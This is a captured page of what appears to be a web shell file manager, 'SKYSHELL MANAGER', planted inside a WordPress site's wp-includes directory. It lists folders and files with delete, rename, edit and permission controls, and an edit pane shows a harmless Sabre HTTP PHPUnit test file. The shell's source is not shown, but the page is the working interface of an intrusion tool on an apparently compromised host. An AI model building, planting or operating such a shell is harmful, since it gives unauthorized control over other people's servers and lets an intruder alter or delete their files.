📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home
/
thevaxnx
/
nativize.com
/
staging
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: ResponseTest.php
<?php declare(strict_types=1); namespace Sabre\HTTP; class ResponseTest extends \PHPUnit\Framework\TestCase { public function testConstruct() { $response = new Response(200, ['Content-Type' => 'text/xml']); $this->assertEquals(200, $response->getStatus()); $this->assertEquals('OK', $response->getStatusText()); } public function testSetStatus() { $response = new Response(); $response->setStatus('402 Where\'s my money?'); $this->assertEquals(402, $response->getStatus()); $this->assertEquals('Where\'s my money?', $response->getStatusText()); } public function testInvalidStatus() { $this->expectException('InvalidArgumentException'); $response = new Response(1000); } public function testToString() { $response = new Response(200, ['Content-Type' => 'text/xml']); $response->setBody('foo'); $expected = "HTTP/1.1 200 OK\r\n" ."Content-Type: text/xml\r\n" ."\r\n" .'foo'; $this->assertEquals($expected, (string) $response); } }
Save